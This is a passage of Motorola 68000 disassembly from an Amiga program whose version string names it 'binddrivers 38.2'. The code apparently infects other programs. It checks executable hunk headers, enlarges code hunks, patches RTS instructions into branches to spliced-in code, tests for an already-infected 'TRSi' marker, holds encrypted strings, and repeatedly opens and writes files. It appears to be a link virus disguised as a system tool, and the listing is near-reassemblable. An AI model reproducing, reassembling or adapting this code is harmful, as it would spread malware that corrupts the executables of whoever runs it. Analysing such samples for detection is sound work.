LEA 132(A5),A0 ;6E6: 41ED0084
DC.W $223A ;6EA
DC.W $02F0 ;6EC
MOVE.L A0,D2 ;6EE: 2408
JMP -396(A6) ;6F0: 4EEEFE74
LAB_0057:
MOVEA.L (ABSEXECBASE).W,A6 ;6F4: 2C780004
MOVEA.L D7,A1 ;6F8: 2247
JMP -690(A6) ;6FA: 4EEEFD4E
LAB_0058:
MOVEA.L D7,A0 ;6FE: 2047
CMPI #$03F3,2(A0) ;700: 0C6803F30002
BEQ.S LAB_005B ;706: 6704
LAB_0059:
MOVEQ #-1,D0 ;708: 70FF
LAB_005A:
RTS ;70A: 4E75
LAB_005B:
MOVE.L 8(A0),D0 ;70C: 20280008
ADDQ.L #5,D0 ;710: 5A80
LSL.L #2,D0 ;712: E588
CMPI #$03E9,2(A0,D0.L) ;714: 0C7003E90802
BNE.S LAB_005A ;71A: 66EE
MOVE.L 4(A0,D0.L),D1 ;71C: 22300804
CMP.L 20(A0),D1 ;720: B2A80014
BNE.S LAB_0059 ;724: 66E2
ADDI.L #$0000013B,20(A0) ;726: 06A80000013B0014
ADDI.L #$0000013B,4(A0,D0.L) ;72E: 06B00000013B0804
LSL.L #2,D1 ;736: E589
ADD.L D1,D0 ;738: D081
ADDQ.L #8,D0 ;73A: 5080
DC.W $43FA ;73C
ANDI.L #$2280D1C0,-(A2) ;73E: 02A22280D1C0
CMPI.L #$54525369,-1184(A0) ;744: 0CA854525369FB60
BEQ.S LAB_0059 ;74C: 67BA
MOVEQ #-1,D2 ;74E: 74FF
MOVEQ #62,D0 ;750: 703E
LAB_005C:
CMPI #$4E75,-(A0) ;752: 0C604E75
BEQ.S LAB_005E ;756: 6708
LAB_005D:
DBF D0,LAB_005C ;758: 51C8FFF8
TST.L D2 ;75C: 4A82
RTS ;75E: 4E75
LAB_005E:
MOVEQ #124,D1 ;760: 727C
LSL.L #1,D0 ;762: E388
SUB.L D0,D1 ;764: 9280
BNE.S LAB_005F ;766: 6606
MOVE #$4E71,(A0) ;768: 30BC4E71
BRA.S LAB_0060 ;76C: 6008
LAB_005F:
MOVE.B #$60,(A0) ;76E: 10BC0060
MOVE.B D1,1(A0) ;772: 11410001
LAB_0060:
MOVEQ #0,D2 ;776: 7400
LSR.L #1,D0 ;778: E288
BRA.S LAB_005D ;77A: 60DC
LAB_0061:
ORI.B #$10,D0 ;77C: 00000010
ORI.B #$00,D0 ;780: 00000000
LAB_0062:
BSR.S LAB_0063 ;784: 611C
DC.W $2C7A ;786
DC.W $023C ;788
LEA LAB_0077(PC),A1 ;78A: 43FA0194
MOVE.L A1,D1 ;78E: 2209
MOVEQ #-2,D2 ;790: 74FE
JSR -84(A6) ;792: 4EAEFFAC
MOVE.L D0,D1 ;796: 2200
BEQ.S LAB_0064 ;798: 6710
JSR -90(A6) ;79A: 4EAEFFA6
BRA LAB_0066 ;79E: 600000AE
LAB_0063:
DC.W $4BFA ;7A2
ANDI #$4695,(A0) ;7A4: 02504695
RTS ;7A8: 4E75
LAB_0064:
MOVEA.L (ABSEXECBASE).W,A6 ;7AA: 2C780004
LEA LAB_0076(PC),A1 ;7AE: 43FA015E
CLR 234(A1) ;7B2: 426900EA
MOVEQ #3,D0 ;7B6: 7003
JSR -552(A6) ;7B8: 4EAEFDD8
TST.L D0 ;7BC: 4A80
BEQ LAB_0066 ;7BE: 6700008E
LEA LAB_0079(PC),A0 ;7C2: 41FA0162
MOVE.L D0,190(A0) ;7C6: 214000BE
MOVEA.L D0,A6 ;7CA: 2C40
JSR -210(A6) ;7CC: 4EAEFF2E
TST.L D0 ;7D0: 4A80
BEQ.S LAB_0065 ;7D2: 676E
DC.W $41FA ;7D4
DC.W $0212 ;7D6
MOVE.L D0,(A0) ;7D8: 2080
MOVEA.L D0,A5 ;7DA: 2A40
MOVE.L 8(A5),D0 ;7DC: 202D0008
MOVEQ #1,D1 ;7E0: 7201
MOVEQ #0,D2 ;7E2: 7400
MOVEA.L 16(A5),A1 ;7E4: 226D0010
MOVEA.L (A1),A1 ;7E8: 2251
MOVE.L (A1),-28(A0) ;7EA: 2151FFE4
JSR -30(A6) ;7EE: 4EAEFFE2
DC.W $41FA ;7F2
BSET D0,(A4) ;7F4: 01D4
MOVE.L D0,36(A0) ;7F6: 21400024
ADDQ.L #1,D0 ;7FA: 5280
BEQ.S LAB_0065 ;7FC: 6744
SUBQ.L #1,D0 ;7FE: 5380
MOVEQ #16,D1 ;800: 7210
JSR -54(A6) ;802: 4EAEFFCA
TST.L D0 ;806: 4A80
BNE.S LAB_0065 ;808: 6638
BSR LAB_006C ;80A: 61000082
MOVE.L D0,-(A7) ;80E: 2F00
DC.W $203A ;810
BSET D0,(A2)+ ;812: 01DA
MOVEQ #2,D1 ;814: 7202
JSR -84(A6) ;816: 4EAEFFAC
DC.W $203A ;81A
BSET D0,(A0) ;81C: 01D0
JSR -120(A6) ;81E: 4EAEFF88
MOVE.L (A7)+,D0 ;822: 201F
BNE.S LAB_0065 ;824: 661C
DC.W $2C7A ;826
BCLR D0,(A4)+ ;828: 019C
LEA LAB_0077(PC),A1 ;82A: 43FA00F4
MOVE.L A1,D1 ;82E: 2209
MOVE.L #$000003EE,D2 ;830: 243C000003EE
JSR -30(A6) ;836: 4EAEFFE2
MOVE.L D0,D1 ;83A: 2200
BEQ.S LAB_0065 ;83C: 6704
JSR -36(A6) ;83E: 4EAEFFDC
LAB_0065:
MOVEA.L (ABSEXECBASE).W,A6 ;842: 2C780004
DC.W $227A ;846
BCLR D0,(A4)+ ;848: 019C
JSR -414(A6) ;84A: 4EAEFE62
LAB_0066:
BSR LAB_0063 ;84E: 6100FF52
DC.W $2C7A ;852
DC.W $0170 ;854
MOVE.L #$00007530,D1 ;856: 223C00007530
JSR -198(A6) ;85C: 4EAEFF3A
BRA LAB_0062 ;860: 6000FF22
LAB_0067:
MOVE.L #$000001FF,D1 ;864: 223C000001FF
LAB_0068:
DC.W $203A ;86A
BCLR D0,D0 ;86C: 0180
MOVEQ #0,D2 ;86E: 7400
RTS ;870: 4E75
LAB_0069:
MOVEA.L LAB_0074(PC),A0 ;872: 207A008A
BSR.S LAB_0067 ;876: 61EC
JSR -78(A6) ;878: 4EAEFFB2
LAB_006A:
ADDQ.L #1,D0 ;87C: 5280
RTS ;87E: 4E75
LAB_006B:
BSR.S LAB_0068 ;880: 61E8
ANDI.L #$000000FF,D1 ;882: 0281000000FF
JSR -66(A6) ;888: 4EAEFFBE
BRA.S LAB_006A ;88C: 60EE
LAB_006C:
MOVEQ #0,D1 ;88E: 7200
MOVEA.L LAB_0074(PC),A0 ;890: 207A006C
BSR.S LAB_006B ;894: 61EA
BEQ.S LAB_0071 ;896: 6752
BSR.S LAB_0069 ;898: 61D8
BEQ.S LAB_0071 ;89A: 674E
MOVE.L #$32323000,D0 ;89C: 203C32323000
BSR.S LAB_0073 ;8A2: 614E
BNE.S LAB_0071 ;8A4: 6644
LEA LAB_007B+1(PC),A0 ;8A6: 41FA0097
LAB_006D:
LEA LAB_007A(PC),A1 ;8AA: 43FA008C
CLR.L D1 ;8AE: 4281
MOVE 192(A1),D1 ;8B0: 322900C0
MOVE.B 0(A1,D1.W),D1 ;8B4: 12311000
MOVEA.L A0,A2 ;8B8: 2448
ADDA.L D1,A2 ;8BA: D5C1
MOVE.L A2,-(A7) ;8BC: 2F0A
ADDQ #1,192(A1) ;8BE: 526900C0
BSR.S LAB_006B ;8C2: 61BC
BEQ.S LAB_0070 ;8C4: 6722
DC.W $323A ;8C6
DC.W $0130 ;8C8
CMP #$0006,D1 ;8CA: B27C0006
BGE.S LAB_006E ;8CE: 6C06
CMP #$0005,D1 ;8D0: B27C0005
BGE.S LAB_006F ;8D4: 6C04
LAB_006E:
BSR.S LAB_0069 ;8D6: 619A
BEQ.S LAB_0070 ;8D8: 670E
LAB_006F:
MOVEA.L (A7)+,A0 ;8DA: 205F
DC.W $343A ;8DC
BTST D0,(A2)+ ;8DE: 011A
CMP #$0007,D2 ;8E0: B47C0007
BNE.S LAB_006D ;8E4: 66C4
BRA.S LAB_0072 ;8E6: 6006
LAB_0070:
ADDQ.L #4,A7 ;8E8: 588F
LAB_0071:
MOVEQ #-1,D0 ;8EA: 70FF
RTS ;8EC: 4E75
LAB_0072:
MOVEQ #0,D0 ;8EE: 7000
RTS ;8F0: 4E75
LAB_0073:
MOVEA.L LAB_0074(PC),A0 ;8F2: 207A000A
CLR.B 3(A0) ;8F6: 42280003
CMP.L (A0),D0 ;8FA: B090
RTS ;8FC: 4E75
LAB_0074:
DC.W $083F ;8FE
DC.W $FDFC ;900
LAB_0075:
DC.W $646F ;902
DC.W $732E ;904
DC.W $6C69 ;906
BHI.S LAB_007C ;908: 6272
BSR.S LAB_007D ;90A: 6172
DC.W $7900 ;90C
LAB_0076:
ADDA A5,A4 ;90E: D8CD
ADDA A5,A7 ;910: DECD
ADDA.L (A5)+,A2 ;912: D5DD
ADDA.L (A3)+,A0 ;914: D1DB
AND.L (A0),D7 ;916: CE90
ADDA (A7),A3 ;918: D6D7
ADDA A4,A4 ;91A: D8CC
ADDA.L A4,A5 ;91C: DBCC
DC.W $C3BE ;91E
LAB_0077:
ASL.L #4,D4 ;920: E984
LAB_0078:
ASR -66(A7,A7.L) ;922: E0F7F8BE
LAB_0079:
ADDA (A7),A3 ;926: D6D7
ADDA A2,A2 ;928: D4CA
ADDA.L A3,A7 ;92A: DFCB
MULU (A1),D7 ;92C: CED1
SUBA A2,A2 ;92E: 94CA
ADDA.L A3,A7 ;930: DFCB
MULU (A1),D7 ;932: CED1
SUBA (A2)+,A2 ;934: 94DA
DC.W $DFBE ;936
LAB_007A:
CMP.L -25672(A6),D2 ;938: B4AE9BB8
DC.W $8FBB ;93C
LAB_007B:
DC.W $BCF6 ;93E
DC.W $FFF2 ;940
DC.W $F59E ;942
DC.W $CECC ;944
MULS (A7),D4 ;946: C9D7
SUBA (A2)+,A2 ;948: 94DA
DC.W $DFB3 ;94A
DC.W $B0F3 ;94C
DC.W $FBF7 ;94E
DC.W $F69E ;950
DC.W $FCEC ;952
DC.W $F5F3 ;954
OR.L D2,D0 ;956: 8082
ADDA.L (A3)+,A3 ;958: D7DB
OR.L -20(A3,A3.W),D2 ;95A: 84B3B0EC
DC.W $F9EE ;95E
ROR.L #7,D6 ;960: EE9E
DC.W $EEF1 ;962
OR.L D2,D0 ;964: 8082
MULU (A7),D6 ;966: CCD7
DC.W $C8CB ;968
DC.W $C9C9 ;96A
ADDA.L A4,A2 ;96C: D5CC
ADDA.L A5,A0 ;96E: D1CD
ADDA (A1),A1 ;970: D2D1
DC.W $CAFE ;972
DC.W $CECC ;974
MULS (A7),D4 ;976: C9D7
SUBA (A2)+,A2 ;978: 94DA
ADDX.L D0,D7 ;97A: DF80
LAB_007C:
DC.W $B7B4 ;97C
LAB_007D:
DC.W $FEFF ;97E
DC.W $EEFF ;980
DC.W $B7B4 ;982
DC.W $FBD0 ;984
ADDA.L A2,A2 ;986: D5CA
ADDA (A3)+,A1 ;988: D2DB
AND.L (A6)+,D4 ;98A: C89E
OR.L D5,(A6)+ ;98C: 8B9E
ADDA (A7),A4 ;98E: D8D7
MULU (A3)+,D7 ;990: CEDB
AND.L D4,(A6)+ ;992: C99E
MULU (A6),D7 ;994: CED6
ADD.L D7,(A6)+ ;996: DF9E
ADDA A3,A7 ;998: DECB
DC.W $C9CA ;99A
SUB.L D5,(A7)+ ;99C: 9B9F
SUBA EXT_0001,A5 ;99E: 9AF9C8DBDFCA
AND.L (A6)+,D0 ;9A4: C09E
MULU (A1),D7 ;9A6: CED1
SUBA #$FFF1,A5 ;9A8: 9AFCFFF1
DC.W $F69E ;9AC
ADDA.L (A0),A5 ;9AE: DBD0
ADD.L (A6)+,D7 ;9B0: DE9E
DC.W $F8F1 ;9B2
DC.W $F1F1 ;9B4
ROXR.L D4,D3 ;9B6: E8B3
CMP.L -112(A3,A3.W),D0 ;9B8: B0B3B090
DC.W $B7B4 ;9BC
DC.W $EBEB ;9BE
DC.W $F3EA ;9C0
DC.W $B7B4 ;9C2
SECTION S_1,DATA
SECSTRT_1:
DC.W $0024 ;9C4
DC.W $5645 ;9C6
DC.W $523A ;9C8
DC.W $2062 ;9CA
DC.W $696E ;9CC
DC.W $6464 ;9CE
DC.W $7269 ;9D0
DC.W $7665 ;9D2
DC.W $7273 ;9D4
DC.W $2033 ;9D6
DC.W $382E ;9D8
DC.W $3220 ;9DA
DC.W $2833 ;9DC
DC.W $312E ;9DE
DC.W $332E ;9E0
DC.W $3932 ;9E2
DC.W $2900 ;9E4
DS.W 1 ;9E6
LAB_007E:
DS.W 2 ;9E8
LAB_007F:
DS.W 2 ;9EC
END